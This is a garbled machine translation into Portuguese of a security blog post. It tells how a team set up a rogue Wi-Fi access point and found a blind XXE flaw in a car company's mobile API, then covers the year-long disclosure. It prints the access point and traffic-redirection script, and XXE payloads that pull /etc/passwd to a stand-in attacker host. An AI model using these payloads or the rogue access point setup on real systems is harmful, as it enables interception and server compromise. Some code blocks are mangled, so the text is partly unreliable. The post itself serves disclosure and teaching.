Quão ruim aplicações web afetar a segurança do seu veículo
Após a publicação deste post, ele veio ao nosso conhecimento que tinha identificado uma série de outros pesquisadores e relatou a mesma vulnerabilidade exata. Apesar disso, a correção ainda levou mais de um ano. Isso demonstra uma falha típica do processo de "divulgação responsável". Quantos outros podem ter identificado esta vulnerabilidade e quais são as chances tudo o que tinha boas intenções?
Intro
Nos últimos anos, o mundo da segurança ouviu uma série de novidades sobre a "Internet das Coisas". Vulnerabilidades no tudo, desde torradeiras até sistemas de automação doméstica têm sido demonstrados, emprestando mais e mais credibilidade aos ataques estilo "cinema de hacking" (verifique se piscina em seu telhado para fugas).Seguindo uma tendência semelhante, na conferência de segurança BlackHat no ano passado hackers carro bem conhecidos Charlie Miller e Chris Valasek fez um splash com o primeiro ataque totalmente remoto contra um grande número de veículos Jeep. O ataque se baseou no fato de que estas unidades de veículos de cabeça, na verdade, conectar-se à Internet através da rede móvel Sprint - a mesma rede usada por telefones celulares da Sprint. Ao conectar-se a essa mesma rede, foi possível identificar os veículos alvo e vulnerabilidades no software que roda em um número de unidades de cabeça!
Nossa aventura acidental em pirataria carro começa antes disso, de volta nos dias quando "carro hacking" equitação envolvidos no banco do passageiro do veículo "alvo" em meio a uma confusão de fios, com o computador ligado ao traço. Charlie e Chris encontraram recentemente uma maneira muito interessante para o coração do carro remotamente a partir da Internet. Neste post, vamos mostrar que existe mais de uma maneira de esfolar um gato, mesmo se você não pode pagar um carro novo.
Nunca na programação, sempre a tempo
Qualquer história que começa com 4 hackers amontoados em um pequeno quarto sem nada para fazer é obrigado a acabar mal. Infelizmente, é aí que este conto começa.Em uma manhã de julho ensolarado no nosso pequeno escritório 26º andar (escritório 2,600 na verdade), nossa equipe de segurança ofensiva tinha vêm de todo o país por algum tempo face. No quarto foram os nossos 4 consultores e uma confusão de hardware a partir de uma tentativa fracassada de construir uma máquina quebra de senha - um dos projetos para a semana. Esses semana longos encontros acontecem apenas um par de vezes por ano e geralmente são agendadas em torno de projetos de clientes interessantes para que a equipe pode colaborar em pessoa, geralmente resultando em pwnage grave e muitas novas idéias. Infelizmente, devido aos clientes a ser clientes que não seria o caso.
No primeiro dia de teste marcada, tudo se desfez. Os dois projetos que haviam sido alinhados foram atrasados por razões além de nosso controle. Além disso, o hardware para a máquina de quebra de senha provou ser particularmente bonked e os nossos esforços com um ferro de solda foi recompensada. Por dia 2, tivemos 4 hackers em um pequeno escritório e nada a ver ...
Hackers gon 'Hack
Depois de chegar fashionably tarde, nosso technophile residente e IoT afficionado, David, começou a contar o seu mais recente projeto. Aparentemente, um grande fornecedor de produtos de segurança em casa instalou recentemente um novo sistema em sua casa que opera através principalmente fora do hardware prateleira. Uma rede sem fio padrão 802.11 é levantou-se assim que os sensores e dispositivos podem se comunicar. Esta rede é protegida por uma chave WPA2 que não é fornecida ao utilizador final - inaceitável para David.Para além dos riscos evidentes colocados por tal sistema (exposição do sistema de geração de chaves, a negação trivial de serviço através de um forno de microondas, etc ...), David também mencionou que ele veio com um app móvel legal para que você possa gerenciar sua segurança sistema remotamente!
Ao ouvir isso, Steve girou-se um ponto de acesso sem fio usando base aérea-ng e imediatamente digitados em uma série de comandos do iptables, totalmente sintaticamente corretamente na primeira tentativa - um feito digno de seu próprio blog. Parecia algo como o seguinte:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| #!/bin/bash#Device mon0 must be monitor mode from airmon-ng and script must be run as root.#Be
sure to modify the IP address in the last 3 iptables commands. The
first one should be the gateway, the last two should be your internal IP#To modify to proxy through Mallory, just set the port to the Mallory port (20755).sudo suairmon-ng start wlan0service network-manager stopsleep 5ifconfig eth0 updhclient eth0airbase-ng -c 7 -e CONNECT_HERE mon0 &sleep 5ifconfig at0 upifconfig at0 192.168.2.129 netmask 255.255.255.128route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129dhcpd -d -f -pf /var/run/dhcp-server/dhcpd.pid at0 &sleep 5iptables --flushiptables --table nat --flushiptables --delete-chainiptables --table nat --delete-chainecho 1 > /proc/sys/net/ipv4/ip_forwardiptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADEiptables --append FORWARD --in-interface at0 -j ACCEPTiptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to 8.8.8.8iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.174.162:54321iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.174.162:54321iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.174.162:54321iptables -t nat -A PREROUTING -p tcp --dport 8443 -j DNAT --to-destination 192.168.174.162:54321 |
Este post não é sobre sistemas de segurança (talvez uma outra vez). Basta dizer que, em pouco tempo a equipe encontrou uma maneira de desligar o sistema de segurança David (e de qualquer outra pessoa) sem a sua senha. Diversão.
O que sobre os carros?
Certo, de volta aos trilhos. Sentindo-se imparável, e na posse de telefone de David, Justin fez uma observação interessante. Aparentemente, David tinha recentemente comprado um carro novo, o que surpreendeu ninguém como ele parece mudar carros mais frequentemente do que a maioria de nós mudar cueca. Este novo carro veio com um aplicativo móvel conveniente serviço que permite ao usuário controlar o fechaduras, buzina, alarme, pode localizar remotamente o carro via GPS, etc ...Infelizmente, nós não conseguimos uma grande oportunidade para um profundo olhar para esta aplicação para falar em detalhes sobre como ele lida com a autenticação, autorização e registro de que tudo seria assuntos muito interessantes. O que fizemos foi fazer conectá-lo à nossa rede "CONNECT_HERE" e dar uma olhada no tráfego da aplicação estava gerando.
XML XXE WTF FTW
Ao ver o tráfego em Burp, tornou-se imediatamente evidente que a aplicação estava se comunicando com o servidor back-end usando uma API baseada em XML. O seguinte foi o primeiro pedido vimos originam a partir do telefone para o servidor (note que todos os nomes de empresas e informação pessoal de David foram censurados ou modificado):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| POST /mobileservices/services/accountservice/authenticateV2/ HTTP/1.1Host: carcompany.someprovider.comAccept-Encoding: gzip, deflateContent-Type: application/xmlContent-Length: 402Accept-Language: en-usAccept: */*Connection: keep-aliveUser-Agent: CarCompany ApplicationMAPPTOSxxxxxxxx 2014-07-10%2017:36:10CarCompanyUSiPhone123456781234 ab123babdbabababababababa123bababababa123babababababababababa123101329 |
XXE XML
XXE XML é uma falha comum Apresentar por desenvolvedores de aplicativos ao manusear parsing de XML de entrada. Qualquer um tempo de aplicação Web envia XML para o servidor, o servidor para fazer uso dos dados XML precisa a ser analisado. Essa análise é normalmente realizada com um punhado de bibliotecas off-the-shelf.Os desenvolvedores desses bibliotecas tomou a decisão de que uma característica em XML conhecido como "entidades externas" deve ser ativada por padrão, e que é até o desenvolvedor do aplicativo para desativá-lo. Um documento XML simples que demonstra entidades externas é mostrado abaixo:
1
2
3
|
"http://" o servidor fará uma solicitação HTTP para o URL especificado. Isto, em combinação com o fato de que os servidores de aplicativos podem ser gerenciados através de HTTP e que as credenciais para as interfaces da web, muitas vezes residem em arquivos no servidor local, muitas vezes leva ao desastre. Há uma série de outros truques XXE mais complexos, como o uso do protocolo Gopher para enviar dados TCP quase arbitrários, forçar o servidor para interagir com serviços não HTTP, mas não vamos entrar em esses aqui.
XXE na Aplicação Car
Com um pouco melhor compreensão da vulnerabilidade XXE, vamos dar um outro olhar para o pedido feito pela aplicação do carro, e que uma carga útil XXE inserido nessa solicitação pode parecer:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| POST /mobileservices/services/accountservice/authenticateV2/ HTTP/1.1Host: carcompany.someprovider.comAccept-Encoding: gzip, deflateContent-Type: application/xmlContent-Length: 402Accept-Language: en-usAccept: */*Connection: keep-aliveUser-Agent: CarCompany Application<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://abcd.dns.attackers.com/" >]>MAPPTOSxxxxxxxx 2014-07-10%2017:36:10CarCompanyUSiPhone12345678&xxe; ab123babdbabababababababa123bababababa123babababababababababa123101329 |
O que podemos fazer, porém, é forçar o servidor a fazer uma solicitação HTTP de saída para um servidor que possui na Internet através XXE. Mesmo se nós não vemos o resultado desse pedido directamente, uma vez que possui o servidor em "abcd.dns.attackers.com" podemos verificar nossos registros para ver se ele veio através de; portanto confirmando nosso ataque XXE sobre o alvo foi bem sucedida. Mesmo craftier, é para nós como atacantes para o próprio servidor DNS para o domínio "dns.attackers.com". Quando a máquina de destino tenta procurar o registro DNS para "abcd.dns.attackers.com", como mostrado na carga útil acima, podemos ver a pesquisa de DNS em nossos registros. No caso em que o tráfego HTTP de saída está sendo bloqueada pelo servidor de destino, ainda teremos a confirmação do sucesso.
Como Justin e Steve se sentaram lado a lado prestes a disparar a carga útil, David e Ketil foram mexer com a máquina quebra no fundo. Na tela de Justin foi a sessão SSH para o servidor em abcd.dns.attackers.com, monitorando os logs, Steve estava correndo arroto. Nem Justin ou Steve realmente esperava que isso funcione, mas valia a pena tentar. Pouco depois de Steve apertar o botão "Go" em Burp Repeater Justin gritou "OH SH * T!", Indicando sucesso. Ketil e David, feita totalmente de surpresa saltou para cima para ver o que toda a comoção era sobre - não está claro se a Davi sabia que estávamos cortando seu carro neste momento.
Não So Blind XXE
Se este fosse um teste de penetração real (ou de ataque), XXE seria apenas o primeiro passo, o dedo do pé crucial na porta. A partir daqui os atacantes se moveria na rede interna da empresa, usando esta máquina inicial como um pivô. Embora não seja trivial, não tivemos uma única instância em um real engajamento onde XXE foi descoberto e nós não encontrar alguma maneira de aproveitá-lo para comprometer uma máquina interna.Uma vez que este não era um teste de penetração ou ataque, os atacantes apenas deu mais um passo para demonstrar a gravidade da vulnerabilidade durante o "responsável" processo de divulgação. Como a maioria das pessoas não sabe o que XXE é, ou como este tipo de "Blind" XXE pode ser aproveitado para recuperar arquivos, decidimos puxar o arquivo "/ etc / passwd" do sistema remoto para demonstrar.
Aproveitando alguns truques XML mais legal, o seguinte pedido foi enviado:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| POST /mobileservices/services/accountservice/authenticateV2/ HTTP/1.1Host: carcompany.someprovider.comAccept-Encoding: gzip, deflateContent-Type: application/xmlContent-Length: 402Accept-Language: en-usAccept: */*Connection: keep-aliveUser-Agent: CarCompany Application<!ELEMENT foo ANY ><!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % dtd SYSTEM "http://abcd.dns.attackers.com/file.dtd">%dtd;]>MAPPTOSxxxxxxxx 2014-07-10%2017:36:10CarCompanyUSiPhone12345678&send; ab123babdbabababababababa123bababababa123babababababababababa123101329 |
http://abcd.dns.attackers.com/file.dtd Esse arquivo contém o seguinte XML:
1
2
3
| <!--?xml version="1.0" encoding="ISO-8859-1"?-->%all; |
Então, como é que vamos realmente receber o conteúdo do arquivo / etc / passwd? Bem, se você olhar de perto a pedido Gopher, ele está sendo enviado para "abcd.dns.attackers.com" na porta TCP 443. Nós podemos apenas começar um ouvinte netcat e esperar que as mercadorias a rolar como mostrado abaixo!
Impacto hipotética
Em teoria, a essa altura o aplicativo que recebe a comunicação de dispositivos móveis dos usuários e, em seguida, transmite os comandos ao seu carro, está comprometida. O que isso significa para David e seus pares?Em primeiro lugar, não está claro se esta vulnerabilidade está contida a única fabricante que testamos em. O provedor que hospeda o serviço vulnerável é uma grande empresa - o pedido XML tinha um campo para "empresa":
1
| CarCompany |
Em segundo lugar - uma vez que um servidor de aplicação está comprometida, o banco de dados quase sempre segue rapidamente. O aplicativo precisa falar com o banco de dados e credenciais para ele pode ser encontrado nos arquivos de configuração. Isto significa que a lista completa de carros e credenciais para controlá-los através da aplicação provavelmente teria sido disponíveis para os atacantes.
Incluem-se nesta controlo seria, pelo menos:
Capacidade -GPS Rastreamento
-Faça E Modelo informações
-Controle De fechaduras e luzes
Há provavelmente muitos outros grandes recursos, bem como, David, desde então, mudou-se para um carro novo e não temos mais acesso ao aplicativo para referência.
Ainda mais preocupantes são ataques remotos contra ônibus CAN do carro. Charlie e Chris teve que saltar através de alguns aros para obter a partir do console de mídia para o bus CAN. Este aplicativo foi falar diretamente com os sistemas na rede CAN para executar os tipos de operações que é responsável. O que isto significa, é que é possível que um invasor poderia ganhar o controle remoto completo de sistemas eletrônicos em todos os veículos afetados.
Divulgação Responsável
Nossa equipe estendeu a mão para o vendedor afectado, eventualmente, entrar em contato com a segurança de TI. A questão foi descrita e um relatório oficial escalada foi entregue. O vendedor parecia inquieto e despreparados para lidar com essa escalada; no entanto a recepção do relatório foi confirmada.Avanço rápido seis meses, nossa equipe decidiu verificar o status do problema. O pedido salvos foi carregado na BurpSuite e enviado para o servidor remoto. Claro o suficiente - ainda vulnerável.
Não foi até Justin estendeu a mão para o fornecedor novamente, um ano após a divulgação original, que a vulnerabilidade foi realmente corrigido. A correção neste caso é uma correção muito rápida no código de análise XML. Esta não é a primeira vez que nossa equipe tem visto este tipo de reação lenta a partir de uma grande empresa para uma vulnerabilidade crítica no software nível alto perfil.
Infelizmente, o "responsável" na divulgação responsável nem sempre se aplica ao grupo responsável por criar o problema, mas o que encontrou. Essas experiências dar credibilidade às políticas de divulgação vulnerabilidade como processo do Google "divulgação coordenada", onde após 3 meses o bug vai público independentemente
créditos dos autores citados no tutorial
